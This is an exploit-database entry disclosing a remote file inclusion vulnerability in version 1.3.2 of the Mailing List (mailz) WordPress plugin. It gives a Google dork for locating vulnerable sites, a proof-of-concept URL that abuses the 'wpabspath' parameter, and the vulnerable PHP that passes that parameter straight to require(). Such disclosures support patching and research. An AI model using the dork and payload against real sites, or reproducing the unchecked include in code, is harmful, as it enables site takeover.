WordPress Plugin Mailing List 1.3.2 – Remote File Inclusion

  • 作者: Ben Schmidt
    日期: 2011-09-19
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/17866/
  • # Exploit Title: Mailing List WordPress plugin RFI
    # Google Dork: inurl:wp-content/plugins/mailz
    # Date: 09/19/2011
    # Author: Ben Schmidt (supernothing (AT) spareclockcycles.org @_supernothing)
    # Software Link: http://wordpress.org/extend/plugins/mailz/download/
    # Version: 1.3.2 (tested)
    
    ---
    PoC
    ---
    http://SERVER/WP_PATH/wp-content/plugins/mailz/lists/config/config.php?wpabspath=RFI
    
    ---
    Vulnerable Code
    ---
    if ( isset($_GET['wpabspath']) ) {
    	//zingiri
    	//error_reporting(E_ALL & ~E_NOTICE);
    	//ini_set('display_errors', '1');
    	define('ABSPATH', dirname(__FILE__) . '/');
    	require($_GET['wpabspath'].'wp-config.php');